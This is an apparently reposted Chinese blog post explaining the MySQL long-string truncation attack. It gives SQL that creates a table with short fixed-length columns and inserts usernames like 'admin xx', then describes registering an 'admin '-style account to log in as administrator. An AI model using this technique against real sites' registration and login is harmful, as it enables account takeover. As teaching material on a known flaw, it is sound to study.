MySQL 字符截断攻击

来源:互联网 发布:php与java的区别 编辑:程序博客网 时间:2024/05/22 12:49

# MySQL 长字符截断(没有想不到....):

创建一个表 :

CREATE table users(
id int(11) not NULL primary key auto_increment,
username char(7) not NULL,
password char(11) not NULL
);

正常插入 admin ; admin
insert into users(username,password) values('admin','admin');

超出字符限制插入(用户名长度为8)*:
insert into users(username,password) values('admin ','admin');
insert into users(username,password) values('admin xx','admin');

超过位数的用户名会被截断 ,所以 ,admin x 与 admin共存于一张表

select username from users where username = 'admin'; 发现他喵的都在里面 .

如果管理员的登录界面是这样判断的 :
$sql = "select count(*) from users where username = 'admin' and password='任意' ";

那我们只需要注册一个账号为 "admin " ,password = "任意" ,

就可以登录成管理员的账号了 .著名的WordPress就被这样攻击过 .

啧啧啧.
原创粉丝点击